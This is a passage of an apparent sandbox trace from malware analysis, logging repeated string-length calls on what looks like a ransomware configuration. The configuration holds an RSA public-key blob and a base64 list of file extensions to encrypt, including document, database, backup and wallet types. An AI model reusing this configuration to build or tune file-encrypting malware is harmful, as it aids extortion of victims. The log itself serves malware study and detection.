FpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0